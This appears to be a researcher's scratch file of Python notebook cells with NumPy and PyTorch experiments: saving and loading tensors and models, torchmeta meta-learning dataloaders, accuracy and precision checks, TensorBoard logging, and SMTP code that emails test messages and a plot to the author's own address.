x_loaded = np.load(path / 'x.npy')
y_load = np.load(path / 'y.npy')
db = np.load(path / 'db.npz')
with open(path / 'db.pkl', 'rb') as db_file:
db_pkl = pickle.load(db_file)
print(x is x_loaded)
print(x == x_loaded)
print(x == db['x'])
print(x == db_pkl['x'])
print('done')
# %%
import numpy as np
from pathlib import Path
path = Path('~/data/tmp/').expanduser()
path.mkdir(parents=True, exist_ok=True)
lb, ub = -1, 1
num_samples = 5
x = np.random.uniform(low=lb, high=ub, size=(1, num_samples))
y = x ** 2 + x + 2
np.save(path / 'x', x)
np.save(path / 'y', y)
x_loaded = np.load(path / 'x.npy')
y_load = np.load(path / 'y.npy')
print(x is x_loaded) # False
print(x == x_loaded) # [[ True True True True True]]
# %%
# saving torch tensors
import torch
import torch.nn as nn
import torchvision
from pathlib import Path
from collections import OrderedDict
path = Path('~/data/tmp/').expanduser()
path.mkdir(parents=True, exist_ok=True)
tensor_a = torch.rand(2, 3)
tensor_b = torch.rand(1, 3)
db = {'a': tensor_a, 'b': tensor_b}
torch.save(db, path / 'torch_db')
loaded = torch.load(path / 'torch_db')
print(loaded['a'] == tensor_a)
print(loaded['b'] == tensor_b)
# testing if ToTensor() screws things up
lb, ub = -1, 1
N, Din, Dout = 3, 1, 1
x = torch.distributions.Uniform(low=lb, high=ub).sample((N, Din))
print(x)
f = nn.Sequential(OrderedDict([
('f1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
y = f(x)
transform = torchvision.transforms.transforms.ToTensor()
y_proc = transform(y)
print(y_proc)
# %%
# merge dict
# union dictionaries, https://stackoverflow.com/questions/38987/how-do-i-merge-two-dictionaries-in-a-single-expression-in-python
d1 = {'a': 1, 'b': 2.5}
d2 = {'b': 2, 'c': 3, 'd': 4}
d = {**d1, **d2}
# duplicates resolved in favour of d2
print(d)
# %%
# generating uniform variables
import numpy as np
num_samples = 3
Din = 1
lb, ub = -1, 1
xn = np.random.uniform(low=lb, high=ub, size=(num_samples, Din))
print(xn)
import torch
sampler = torch.distributions.Uniform(low=lb, high=ub)
r = sampler.sample((num_samples, Din))
print(r)
r2 = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
print(r2)
# process input
f = nn.Sequential(OrderedDict([
('f1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
Y = f(r2)
print(Y)
# %%
# sampling from normal distribution in torch
import torch
num_samples = 3
Din = 1
mu, std = 0, 1
x = torch.distributions.normal.Normal(loc=mu, scale=std).sample((num_samples, Din))
print(x)
# %%
# creating data and running through a nn and saving it
import torch
import torch.nn as nn
from pathlib import Path
from collections import OrderedDict
import numpy as np
import pickle
path = Path('~/data/tmp/').expanduser()
path.mkdir(parents=True, exist_ok=True)
num_samples = 3
Din, Dout = 1, 1
lb, ub = -1, 1
x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
f = nn.Sequential(OrderedDict([
('f1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
y = f(x)
# save data torch to numpy
x_np, y_np = x.detach().cpu().numpy(), y.detach().cpu().numpy()
np.savez(path / 'db', x=x_np, y=y_np)
print(x_np)
# save model
with open('db_saving_seq', 'wb') as file:
pickle.dump({'f': f}, file)
# load model
with open('db_saving_seq', 'rb') as file:
db = pickle.load(file)
f2 = db['f']
# test that it outputs the right thing
y2 = f2(x)
y_eq_y2 = y == y2
print(y_eq_y2)
db2 = {'f': f, 'x': x, 'y': y}
torch.save(db2, path / 'db_f_x_y')
print('Done')
db3 = torch.load(path / 'db_f_x_y')
f3 = db3['f']
x3 = db3['x']
y3 = db3['y']
yy3 = f3(x3)
y_eq_y3 = y == y3
print(y_eq_y3)
y_eq_yy3 = y == yy3
print(y_eq_yy3)
# %%
# test for saving everything with torch.save
import torch
import torch.nn as nn
from pathlib import Path
from collections import OrderedDict
import numpy as np
import pickle
path = Path('~/data/tmp/').expanduser()
path.mkdir(parents=True, exist_ok=True)
num_samples = 3
Din, Dout = 1, 1
lb, ub = -1, 1
x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
f = nn.Sequential(OrderedDict([
('f1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
y = f(x)
# save data torch to numpy
x_np, y_np = x.detach().cpu().numpy(), y.detach().cpu().numpy()
db2 = {'f': f, 'x': x_np, 'y': y_np}
torch.save(db2, path / 'db_f_x_y')
# np.savetxt(path / 'output.csv', y_np) # for csv
db3 = torch.load(path / 'db_f_x_y')
f3 = db3['f']
x3 = db3['x']
y3 = db3['y']
xx = torch.tensor(x3)
yy3 = f3(xx)
print(yy3)
# %%
# my saving code for synthetic data, nvm using torch.save for everything
# import torch
# import torch.nn as nn
#
# from pathlib import Path
# from collections import OrderedDict
#
# import numpy as np
#
# path = Path('~/data/tmp/').expanduser()
# path.mkdir(parents=True, exist_ok=True)
#
# num_samples = 3
# Din, Dout = 1, 1
# lb, ub = -1, 1
#
# x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
#
# f = nn.Sequential(OrderedDict([
# ('f1', nn.Linear(Din,Dout)),
# ('out', nn.SELU())
# ]))
# y = f(x)
#
# # save data torch to numpy
# x_np, y_np = x.detach().cpu().numpy(), y.detach().cpu().numpy()
# np.savez(path / 'data', x=x_np, y=y_np)
#
# # save model
# torch.save(f,path / 'f')
# %%
import torch
import torch.nn as nn
from collections import OrderedDict
num_samples = 3
Din, Dout = 1, 1
lb, ub = -1, 1
x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
hidden_dim = [(Din, 20), (20, 20), (20, 20), (20, 20), (20, Dout)]
f = nn.Sequential(OrderedDict([
('fc1;l1', nn.Linear(hidden_dim[0][0], hidden_dim[0][1])),
('relu2', nn.ReLU()),
('fc2;l1', nn.Linear(hidden_dim[1][0], hidden_dim[1][1])),
('relu2', nn.ReLU()),
('fc3;l1', nn.Linear(hidden_dim[2][0], hidden_dim[2][1])),
('relu3', nn.ReLU()),
('fc4;l1', nn.Linear(hidden_dim[3][0], hidden_dim[3][1])),
('relu4', nn.ReLU()),
('fc5;final;l2', nn.Linear(hidden_dim[4][0], hidden_dim[4][1]))
]))
y = f(x)
print(y)
section_label = [1] * 4 + [2]
print(section_label)
# %%
# get list of paths to task
# https://stackoverflow.com/questions/973473/getting-a-list-of-all-subdirectories-in-the-current-directory
# https://stackoverflow.com/a/44228436/1601580
from pathlib import Path
from glob import glob
meta_split = 'train'
data_path = Path('~/data/LS/debug/fully_connected_NN_mu1_1.0_std1_2.5_mu2_1.0_std2_0.5/')
data_path = (data_path / meta_split).expanduser()
# with path lib
tasks_folder = [f for f in data_path.iterdir() if f.is_dir()]
assert ('f_avg' not in tasks_folder)
len_folder = len(tasks_folder)
print(len_folder)
print(tasks_folder)
print()
# with glob
p = str(data_path) + '/*/'
print(p)
tasks_folder = glob(p)
assert ('f_avg' not in tasks_folder)
len_folder = len(tasks_folder)
print(len_folder)
print(tasks_folder)
print()
# with glob and negation
print(set(glob(str(data_path / "f_avg"))))
tasks_folder = set(glob(str(data_path / '*'))) - set(glob(str(data_path / "f_avg")))
assert ('f_avg' not in tasks_folder)
len_folder = len(tasks_folder)
print(len_folder)
print(tasks_folder)
print()
# %%
# looping through metasets
from torchmeta.utils.data import BatchMetaDataLoader
from torchmeta.transforms import ClassSplitter
from torchmeta.toy import Sinusoid
from tqdm import tqdm
# get data set
dataset = Sinusoid(num_samples_per_task=25, num_tasks=30)
shots, test_shots = 5, 15
# get metaset
metaset = ClassSplitter(
dataset,
num_train_per_class=shots,
num_test_per_class=test_shots,
shuffle=True)
# get meta-dataloader
batch_size = 16
num_workers = 0
meta_dataloader = BatchMetaDataLoader(metaset, batch_size=batch_size, num_workers=num_workers)
epochs = 2
print(f'batch_size = {batch_size}')
print(f'len(metaset) = {len(metaset)}')
print(f'len(meta_dataloader) = {len(meta_dataloader)}')
with tqdm(range(epochs)) as tepochs:
for epoch in tepochs:
for batch_idx, batch in enumerate(meta_dataloader):
print(f'\nbatch_idx = {batch_idx}')
train_inputs, train_targets = batch['train']
test_inputs, test_targets = batch['test']
print(f'train_inputs.shape = {train_inputs.shape}')
print(f'train_targets.shape = {train_targets.shape}')
print(f'test_inputs.shape = {test_inputs.shape}')
print(f'test_targets.shape = {test_targets.shape}')
# %%
from tqdm import tqdm
import time
with tqdm(range(5)) as trange:
for t in trange:
print(t)
time.sleep(1)
# %%
import torch
import torch.nn as nn
l1 = torch.tensor([1, 2, 3.]) ** 0.5
l2 = torch.tensor([0, 0, 0.0])
mse = nn.MSELoss()
loss = mse(l1, l2)
print(loss)
# %%
import numpy as np
x = np.arange(0, 10)
print(x)
print(x.max())
print(x.min())
print(x.mean())
print(np.median(x))
# %%
x = torch.randn(3)
print(x)
print(x.argmax(-1))
# %%
# testing accuracy function
# https://discuss.pytorch.org/t/calculating-accuracy-of-the-current-minibatch/4308/11
# https://stackoverflow.com/questions/51503851/calculate-the-accuracy-every-epoch-in-pytorch
import torch
import torch.nn as nn
D = 1
true = torch.tensor([0, 1, 0, 1, 1]).reshape(5, 1)
print(f'true.size() = {true.size()}')
batch_size = true.size(0)
print(f'batch_size = {batch_size}')
x = torch.randn(batch_size, D)
print(f'x = {x}')
print(f'x.size() = {x.size()}')
mdl = nn.Linear(D, 1)
logit = mdl(x)
_, pred = torch.max(logit.data, 1)
print(f'logit = {logit}')
print(f'pred = {pred}')
print(f'true = {true}')
acc = (true == pred).sum().item()
print(f'acc = {acc}')
# %%
# https://towardsdatascience.com/understanding-dimensions-in-pytorch-6edf9972d3be
# dimension
# https://discuss.pytorch.org/t/how-does-one-get-the-predicted-classification-label-from-a-pytorch-model/91649/4?u=brando_miranda
"""
Dimension reduction. It collapses/reduces a specific dimension by selecting an element from that dimension to be
reduced.
Consider x is 3D tensor. x.sum(1) converts x into a tensor that is 2D using an element from D1 elements in
the 1th dimension. Thus:
x.sum(1) = x[i,k] = op(x[i,:,k]) = op(x[i,0,k],...,x[i,D1,k])
the key is to realize that we need 3 indices to select a single element. So if we use only 2 (because we are collapsing)
then we have D1 number of elements possible left that those two indices might indicate. So from only 2 indices we get a
set that we need to specify how to select. This is where the op we are using is used for and selects from this set.
In theory if we want to collapse many indices we need to indicate how we are going to allow indexing from a smaller set
of indices (using the remaining set that we'd usually need).
"""
import torch
x = torch.tensor([
[1, 2, 3],
[4, 5, 6]
])
print(f'x.size() = {x.size()}')
# sum the 0th dimension (rows). So we get a bunch of colums that have the rows added together.
x0 = x.sum(0)
print(x0)
# sum the 1th dimension (columns)
x1 = x.sum(1)
print(x1)
x_1 = x.sum(-1)
print(x_1)
x0 = x.max(0)
print(x0.values)
y = torch.tensor([[
[1, 2, 3, 4],
[5, 6, 7, 8],
[9, 10, 11, 12]],
[[13, 14, 15, 16],
[17, 18, 19, 20],
[21, 22, 23, 24]]])
print(y)
# into the screen [1, 13]
print(y[:, 0, 0])
# columns [1, 5, 9]
print(y[0, :, 0])
# rows [1, 2, 3, 4]
print(y[0, 0, :])
# for each remaining index, select the largest value in the "screen" dimension
y0 = y.max(0)
print(y0.values)
# %%
# understanding making label predictions
# https://discuss.pytorch.org/t/how-does-one-get-the-predicted-classification-label-from-a-pytorch-model/91649/3?u=brando_miranda
def calc_accuracy(mdl, X, Y):
# reduce/collapse the classification dimension according to max op
# resulting in most likely label
max_vals, max_indices = mdl(X).max(1)
# assumes the first dimension is batch size
n = max_indices.size(0) # index 0 for extracting the # of elements
# calulate acc (note .item() to do float division)
acc = (max_indices == Y).sum().item() / n
return acc
import torch
import torch.nn as nn
# data dimension [batch-size, D]
D, Dout = 1, 5
batch_size = 16
x = torch.randn(batch_size, D)
y = torch.randint(low=0, high=Dout, size=(batch_size,))
mdl = nn.Linear(D, Dout)
logits = mdl(x)
print(f'y.size() = {y.size()}')
# removes the 1th dimension with a max, which is the classification layer
# which means it returns the most likely label. Also, note you need to choose .indices since you want to return the
# position of where the most likely label is (not it's raw logit value)
pred = logits.max(1).indices
print(pred)
print('--- preds vs truth ---')
print(f'predictions = {pred}')
print(f'y = {y}')
acc = (pred == y).sum().item() / pred.size(0)
print(acc)
print(calc_accuracy(mdl, x, y))
# %%
# https://discuss.pytorch.org/t/runtimeerror-element-0-of-variables-does-not-require-grad-and-does-not-have-a-grad-fn/11074/20
import torch
import torch.nn as nn
x = torch.randn(1)
mdl = nn.Linear(1, 1)
y = mdl(x)
print(mdl.weight)
print(y)
# %%
# https://discuss.pytorch.org/t/how-to-get-the-module-names-of-nn-sequential/39682
# looping through modules but get the one with a specific name
import torch
import torch.nn as nn
from collections import OrderedDict
params = OrderedDict([
('fc0', nn.Linear(in_features=4, out_features=4)),
('ReLU0', nn.ReLU()),
('fc1L:final', nn.Linear(in_features=4, out_features=1))
])
mdl = nn.Sequential(params)
# throws error
# mdl['fc0']
for m in mdl.children():
print(m)
print()
for m in mdl.modules():
print(m)
print()
for name, m in mdl.named_modules():
print(name)
print(m)
print()
for name, m in mdl.named_children():
print(name)
print(m)
# %%
# apply mdl to x until the final layer, then return the embeding
# import torch
# import torch.nn as nn
#
# from collections import OrderedDict
#
# Din, Dout = 1, 1
# H = 10
#
# modules = OrderedDict([
# ('fc0', nn.Linear(in_features=Din, out_features=H)),
# ('ReLU0', nn.ReLU()),
#
# ('fc1', nn.Linear(in_features=H, out_features=H)),
# ('ReLU1', nn.ReLU()),
#
# ('fc2', nn.Linear(in_features=H, out_features=H)),
# ('ReLU2', nn.ReLU()),
#
# ('fc3', nn.Linear(in_features=H, out_features=H)),
# ('ReLU3', nn.ReLU()),
#
# ('fc4L:final', nn.Linear(in_features=H, out_features=Dout))
# ])
#
# mdl = nn.Sequential(modules)
#
# out = x
# for name, m in self.base_model.named_children():
# if 'final' in name:
# # return out
# break
# out = m(out)
#
# print(out.size())
# %%
# initializing a constant weight net
# https://discuss.pytorch.org/t/how-to-add-appropriate-noise-to-a-neural-network-with-constant-weights-so-that-back-propagation-training-works/93411
# import torch
# [layer.reset_parameters() for layer in base_model.children() if hasattr(layer, 'reset_parameters')]
# model = nn.Linear(1, 1)
# model_copy = copy.deepcopy(model)
# %%
print('start')
# f_avg: PLinReg vs MAML
import numpy as np
from matplotlib import pyplot as plt
from pathlib import Path
datas_std = [0.1, 0.125, 0.1875, 0.2]
pl = [2.3078539778125768e-07,
1.9997889411762922e-07,
2.729681222011256e-07,
3.2532371115080884e-07]
pl_stds = [1.4852212316567463e-08,
5.090588920661132e-09,
1.1424832554909115e-08,
5.058656213138166e-08]
maml = [3.309504692539563e-07,
4.1058904888091606e-06,
6.8326703386053605e-06,
7.4616147721799645e-06]
maml_stds = [4.039131189060566e-08,
3.66839089258494e-08,
9.20683484136399e-08,
9.789292209743077e-08]
# fig = plt.figure()
fig, ax = plt.subplots(nrows=1, ncols=1)
ax.set_title('MAML vs Pre-Trained embedding with Linear Regression')
x = datas_std
ax.errorbar(x, pl, yerr=pl_stds, label='PLinReg', marker='o')
ax.errorbar(x, maml, yerr=maml_stds, label='MAML', marker='o')
ax.plot()
ax.legend()
ax.set_xlabel('std (of FNN Data set)')
ax.set_ylabel('meta-test loss (MSE)')
plt.show()
# path = Path('~/ultimate-utils/plot').expanduser()
# fig.savefig(path)
print('done \a')
# %%
# Torch-meta miniImagenet
# loop through meta-batches of this data set, print the size, make sure it's the size you exepct
import torchmeta
from torchmeta.utils.data import BatchMetaDataLoader
from torchmeta.transforms import ClassSplitter
# from torchmeta.toy import Sinusoid
from tqdm import tqdm
# dataset = Sinusoid(num_samples_per_task=100, num_tasks=20)
dataset = torchmeta.datasets.MiniImagenet(data_path, num_classes_per_task=5, meta_train=True, download=True)
print(f'type(metaset_miniimagenet) = {type(dataset)}')
print(f'len(metaset_miniimagenet) = {len(dataset)}')
shots, test_shots = 5, 15
# get metaset
metaset = ClassSplitter(
dataset,
num_train_per_class=shots,
num_test_per_class=test_shots,
shuffle=True)
# get meta-dataloader
batch_size = 16
num_workers = 0
meta_dataloader = BatchMetaDataLoader(metaset, batch_size=batch_size, num_workers=num_workers)
epochs = 2
print(f'batch_size = {batch_size}')
print(f'len(metaset) = {len(metaset)}')
print(f'len(meta_dataloader) = {len(meta_dataloader)}\n')
with tqdm(range(epochs)) as tepochs:
for epoch in tepochs:
print(f'\n[epoch={epoch}]')
for batch_idx, batch in enumerate(meta_dataloader):
print(f'batch_idx = {batch_idx}')
train_inputs, train_targets = batch['train']
test_inputs, test_targets = batch['test']
print(f'train_inputs.shape = {train_inputs.shape}')
print(f'train_targets.shape = {train_targets.shape}')
print(f'test_inputs.shape = {test_inputs.shape}')
print(f'test_targets.shape = {test_targets.shape}')
print()
# %%
import torch
x = torch.tensor([1., 2, 3])
print(x.mean())
print(x * x)
print(x @ x)
print(x.matmul(x))
# x.mm(x) weird error
# %%
import torch
x = torch.randn(12, 20)
y = torch.randn(20, 30)
out = x @ y
print(out.size())
# %%
# https://www.youtube.com/watch?v=46RjXawJQgg&t=1493s
from pathlib import Path
from pandas import read_csv
read_csv(Path())
# %%
print('hello-world')
xx = 2
print(xx)
print(' ')
##
print('end!')
# %%
# let's see how big the random values from the normal are
import torch
D = 8
w = torch.tensor([0.1] * D)
print(f'w.size() = {w.size()}')
mu = torch.zeros(w.size())
std = w * 1.5e-2 # two decimal places and a little more
noise = torch.distributions.normal.Normal(loc=mu, scale=std).sample()
print('--- noise ')
print(noise.size())
print(noise)
w += noise
print('--- w')
print(w.size())
print(w)
# %%
# editing parameters in pytorch in place without error: https://discuss.pytorch.org/t/how-are-layer-weights-and-biases-initialized-by-default/13073/41
import torch
import torch.nn as nn
from collections import OrderedDict
Din, Dout = 8, 1
base_model = nn.Sequential(OrderedDict([
('f1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
with torch.no_grad():
for i, w in enumerate(base_model.parameters()):
print(f'--- i = {i}')
print(w)
w += w + 0.001
print(w)
# %%
# pickle vs torch.save
# def log_validation(args, meta_learner, outer_opt, meta_val_set):
# """ Log the validation loss, acc. Checkpoint the model if that flag is on. """
# if args.save_ckpt: # pickle vs torch.save https://discuss.pytorch.org/t/advantages-disadvantages-of-using-pickle-module-to-save-models-vs-torch-save/79016
# # make dir to logs (and ckpts) if not present. Throw no exceptions if it already exists
# path_to_ckpt = args.logger.current_logs_path
# path_to_ckpt.mkdir(parents=True, exist_ok=True) # creates parents if not presents. If it already exists that's ok do nothing and don't throw exceptions.
# ckpt_path_plus_path = path_to_ckpt / Path('db')
#
# args.base_model = "check the meta_learner field in the checkpoint not in the args field" # so that we don't save the child model so many times since it's part of the meta-learner
# # note this obj has the last episode/outer_i we ran
# torch.save({'args': args, 'meta_learner': meta_learner}, ckpt_path_plus_path)
# acc_mean, acc_std, loss_mean, loss_std = meta_eval(args, meta_learner, meta_val_set)
# if acc_mean > args.best_acc:
# args.best_acc, args.loss_of_best = acc_mean, loss_mean
# args.logger.loginfo(
# f"***> Stats of Best Acc model: meta-val loss: {args.loss_of_best} +- {loss_std}, meta-val acc: {args.best_acc} +- {acc_std}")
# return acc_mean, acc_std, loss_mean, loss_std
# %%
import numpy as np
from sklearn.linear_model import LinearRegression
X = np.array([[1, 1], [1, 2], [2, 2], [2, 3]])
# y = 1 * x_0 + 2 * x_1 + 3
y = np.dot(X, np.array([1, 2])) + 3
reg = LinearRegression()
print(reg)
reg = LinearRegression().fit(X, y)
print(reg)
reg.score(X, y)
reg.coef_
reg.intercept_
reg.predict(np.array([[3, 5]]))
# %%
# https://stackoverflow.com/questions/63818676/what-is-the-machine-precision-in-pytorch-and-when-should-one-use-doubles
# https://discuss.pytorch.org/t/how-does-one-start-using-double-without-unexpected-bugs/95715
# https://discuss.pytorch.org/t/what-is-the-machine-precision-of-pytorch-with-cpus-or-gpus/9384
import torch
x1 = torch.tensor(1e-6)
x2 = torch.tensor(1e-7)
x3 = torch.tensor(1e-8)
x4 = torch.tensor(1e-9)
eps = torch.tensor(1e-11)
print(x1.dtype)
print(x1)
print(x1 + eps)
print(x2)
print(x2 + eps)
print(x3)
print(x3 + eps)
print(x4)
print(x4 + eps)
# %%
# python float is a C double
# NumPy's standard numpy.float is the same (so C double), also numpy.float64.
# https://www.doc.ic.ac.uk/~eedwards/compsys/float/
# https://stackoverflow.com/questions/1049722/what-is-2s-complement
# https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html#whyworks
# https://stackoverflow.com/questions/7524838/fixed-point-vs-floating-point-number
# https://en.wikipedia.org/wiki/Single-precision_floating-point_format
# https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html#whyworks
import torch
xf = torch.tensor(1e-7)
xd = torch.tensor(1e-7, dtype=torch.double)
epsf = torch.tensor(1e-11)
print(xf.dtype)
print(xf)
print(xf.item())
print(type(xf.item()))
#
print('\n> test when a+eps = a')
print(xf.dtype)
print(f'xf = {xf}')
print(f'xf + 1e-7 = {xf + 1e-7}')
print(f'xf + 1e-11 = {xf + 1e-11}')
print(f'xf + 1e-8 = {xf + 1e-8}')
print(f'xf + 1e-16 = {xf + 1e-16}')
# after seeing the above it seems that there are errors if things are small
print('\n> test when a+eps = a')
x = torch.tensor(1e-7, dtype=torch.double)
print(f'xf = {x}')
print(f'xf + 1e-7 = {x + 1e-7}')
print(f'xf + 1e-11 = {x + 1e-11}')
print(f'xf + 1e-8 = {x + 1e-8}')
print(f'xf + 1e-16 = {x + 1e-16}')
# using doubles clearly is better but still has some errors
print('\n> test when a+eps = a')
x = torch.tensor(1e-4)
print(f'xf = {x}')
print(f'xf + 1e-7 = {x + 1e-7}')
print(f'xf + 1e-11 = {x + 1e-11}')
print(f'xf + 1e-8 = {x + 1e-8}')
print(f'xf + 1e-16 = {x + 1e-16}')
# %%
# https://pytorch.org/docs/stable/torchvision/models.html
# %%
import torch
print(torch.zeros(2))
m = torch.distributions.MultivariateNormal(torch.zeros(2), torch.eye(2))
x = m.sample()
print(x)
# m = torch.distributions.MultivariateNormal(torch.zeros(1, 3), torch.eye(1, 3))
# mu = m.sample()
# print(mu)
m = torch.distributions.MultivariateNormal(torch.zeros(1, 5), torch.eye(5))
y = m.sample()
print(y)
# %%
from pathlib import Path
from matplotlib import pyplot as plt
import numpy as np
path = Path('//').expanduser()
# x = np.linspace(0, 2*np.pi, 50)
x = np.random.uniform(0, 2 * np.pi, 100)
noise = np.random.normal(0.0, 0.05, 100)
print(noise)
y = np.sin(x) + noise
plt.figure()
plt.scatter(x, y)
plt.ylabel('f(x)')
plt.ylabel('x (raw feature)')
plt.savefig(path / 'test_fig.pdf')
plt.savefig(path / 'test_fig.png')
plt.show()
# %%
from socket import gethostname
from email.message import EmailMessage
import smtplib
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
print(server)
# %%
# MTA (Mail Transfer Agent)
# https://stackoverflow.com/questions/784201/is-there-a-python-mta-mail-transfer-agent
# https://www.quora.com/How-does-one-send-e-mails-from-Python-using-MTA-Mail-Transfer-Agent-rather-than-an-SMTP-library
# https://www.reddit.com/r/learnpython/comments/ixlq81/how_does_one_send_emails_from_python_using_mta/
# Q why can't I just send an email directly?
# Q why do smtp libraries exist
# %%
import smtplib
server = smtplib.SMTP('smtp.intel-research.net', 25)
server.starttls()
print(server)
# %%
# from socket import gethostname
# from email.message import EmailMessage
# import smtplib
#
# server = smtplib.SMTP('smtp.gmail.com', 587)
# server.starttls()
# # not a real email account nor password, its all ok!
# server.login('slurm.miranda@gmail.com', 'dummy123!@#$321')
#
# # craft message
# msg = EmailMessage()
#
# message = f'{message}\nSend from Hostname: {gethostname()}'
# msg.set_content(message)
# msg['Subject'] = subject
# msg['From'] = 'slurm.miranda@gmail.com'
# msg['To'] = destination
# # send msg
# server.send_message(msg)
# %%
# send email with smtp intel
def send_email(message):
from socket import gethostname
import smtplib
hostname = gethostname()
from_address = 'slurm.miranda@gmail.com'
from_address = 'miranda9@intel-research.net.'
# to_address = [ 'iam-alert@intel-research.net']
to_address = ['brando.science@gmail.com']
subject = f"Test msg from: {hostname}"
##
message = f'Test msg from {hostname}: {message}'
full_message = f'From: {from_address}\n' \
f'To: {to_address}\n' \
f'Subject: {subject}\n' \
f'{message}'
server = smtplib.SMTP('smtp.intel-research.net')
server.sendmail(from_address, to_address, full_message)
server.quit()
# sys.exit(1)
print('start')
send_email('HelloWorld')
print('done email test!')
# %%
def send_email2(message):
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from socket import gethostname
import smtplib
server = smtplib.SMTP('smtp.intel-research.net')
# craft message
msg = MIMEMultipart()
message = f'{message}\nSend from Hostname: {gethostname()}'
msg['Subject'] = 'Test email'
msg['From'] = 'miranda9@intel-research.net.'
msg['To'] = 'brando.science@gmail.com'
msg.attach(MIMEText(message, "plain"))
# send message
server.send_message(msg)
# server.sendmail(from_address, to_address, full_message)
server.quit()
print('start')
send_email2('HelloWorld')
print('done email test!')
# %%
from pathlib import Path
message = 'HelloWorld'
path_to_pdf = Path('~/data/test_fig.pdf').expanduser()
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from socket import gethostname
import smtplib
server = smtplib.SMTP('smtp.intel-research.net')
# craft message
msg = MIMEMultipart()
message = f'{message}\nSend from Hostname: {gethostname()}'
msg['Subject'] = 'Test email'
msg['From'] = 'miranda9@intel-research.net.'
msg['To'] = 'brando.science@gmail.com'
msg.attach(MIMEText(message, "plain"))
# attach pdf
if path_to_pdf.exists():
with open(path_to_pdf, "rb") as f:
# attach = email.mime.application.MIMEApplication(f.read(),_subtype="pdf")
attach = MIMEApplication(f.read(), _subtype="pdf")
attach.add_header('Content-Disposition', 'attachment', filename=str(path_to_pdf))
msg.attach(attach)
# send message
server.send_message(msg)
# server.sendmail(from_address, to_address, full_message)
server.quit()
# %%
# Here, we used "w" letter in our argument, which indicates write and will create a file if it does not exist in library
# Plus sign indicates both read and write.
# with open('data.json', 'w+') as f:
# json.dump(self.stats, f)
# %%
import numpy as np
from torch.utils.tensorboard import SummaryWriter # https://deeplizard.com/learn/video/psexxmdrufm
path = Path('/logs/').expanduser()
tb = SummaryWriter(log_dir=path)
# tb = SummaryWriter(log_dir=args.current_logs_path)
for i in range(3):
loss = i + np.random.normal(loc=0, scale=1)
tb.add_scalar('loss', loss, i)
# %%
# https://pytorch.org/tutorials/beginner/saving_loading_models.html
# Saving & Loading Model for Inference
# Save/Load state_dict (Recommended)
# Save:
# torch.save(model.state_dict(), PATH)
#
# # Load:
# model = TheModelClass(*args, **kwargs)
# model.load_state_dict(torch.load(PATH))
# model.eval()
# %%
# Save:
# torch.save({
# 'epoch': epoch,
# 'model_state_dict': model.state_dict(),
# 'optimizer_state_dict': optimizer.state_dict(),
# 'loss': loss,
# ...
# }, PATH)
# # Load:
# model = TheModelClass(*args, **kwargs)
# optimizer = TheOptimizerClass(*args, **kwargs)
#
# checkpoint = torch.load(PATH)
# model.load_state_dict(checkpoint['model_state_dict'])
# optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
# epoch = checkpoint['epoch']
# loss = checkpoint['loss']
#
# model.eval()
# # - or -
# model.train()
# %%
# https://discuss.pytorch.org/t/how-does-load-a-sequential-model-from-a-string/97648
# https://stackoverflow.com/questions/64109883/how-does-one-load-a-sequential-model-from-a-string-in-pytorch
# %%
#
# torch.save({'f': f,
# 'f_state_dict': f.state_dict(),
# 'f_str': str(f),
# 'f_modules': f._modules,
# 'f_modules_str': str(f._modules)
# }, path2avg_f)
# %%
from pathlib import Path
from torch.utils.tensorboard import SummaryWriter
import numpy as np
path = Path('~/data/tb_test/').expanduser()
# path = Path('~/logs/logs_Sep29_12-38-08_jobid_-1/tb').expanduser()
writer = SummaryWriter(path)
for n_iter in range(100):
writer.add_scalar('Loss/train', np.random.random(), n_iter)
writer.add_scalar('Loss/test', np.random.random(), n_iter)
writer.add_scalar('Accuracy/train', np.random.random(), n_iter)
writer.add_scalar('Accuracy/test', np.random.random(), n_iter)
print('done! \a')
# %%
db = torch.load(str(args.resume_ckpt_path))
# args.epchs = db['epoch'] # we can start counting from zero
# args.epoch += 1 # this is needed so that it starts on the next batch since it says the last batch it *did* and range counts with 0 indexing.
# meta_learner = db['meta_learner']
args.base_model = db['f']
# in case loading directly doesn't work
modules = eval(db['f_modules_str'])
args.base_model = torch.nn.Sequential(modules)
f_state_dict = db['f_state_dict']
args.base_model.load_state_dict(f_state_dict)
# %%
# Torch-meta miniImagenet
import torchmeta
from torchmeta.utils.data import BatchMetaDataLoader
from torchmeta.transforms import ClassSplitter
from pathlib import Path
from tqdm import tqdm
data_path = Path('//').expanduser()
meta_split = 'train'
dataset = torchmeta.datasets.MiniImagenet(data_path, num_classes_per_task=5, meta_split=meta_split, download=True)
# dataset = torchmeta.datasets.Omniglot(data_path, num_classes_per_task=5, meta_split=meta_split, download=True)
print(f'type(metaset_miniimagenet) = {type(dataset)}')
print(f'len(metaset_miniimagenet) = {len(dataset)}')
shots, test_shots = 5, 15
metaset = ClassSplitter(
dataset,
num_train_per_class=shots,
num_test_per_class=test_shots,
shuffle=True)
batch_size = 16
num_workers = 0
meta_dataloader = BatchMetaDataLoader(metaset, batch_size=batch_size, num_workers=num_workers)
epochs = 2
print(f'batch_size = {batch_size}')
print(f'len(metaset) = {len(metaset)}')
print(f'len(meta_dataloader) = {len(meta_dataloader)}\n')
with tqdm(range(epochs)) as tepochs:
for epoch in tepochs:
print(f'\n[epoch={epoch}]')
for batch_idx, batch in enumerate(meta_dataloader):
print(f'batch_idx = {batch_idx}')
train_inputs, train_targets = batch['train']
test_inputs, test_targets = batch['test']
print(f'train_inputs.shape = {train_inputs.shape}')
print(f'train_targets.shape = {train_targets.shape}')
print(f'test_inputs.shape = {test_inputs.shape}')
print(f'test_targets.shape = {test_targets.shape}')
print()
break
break
# %%
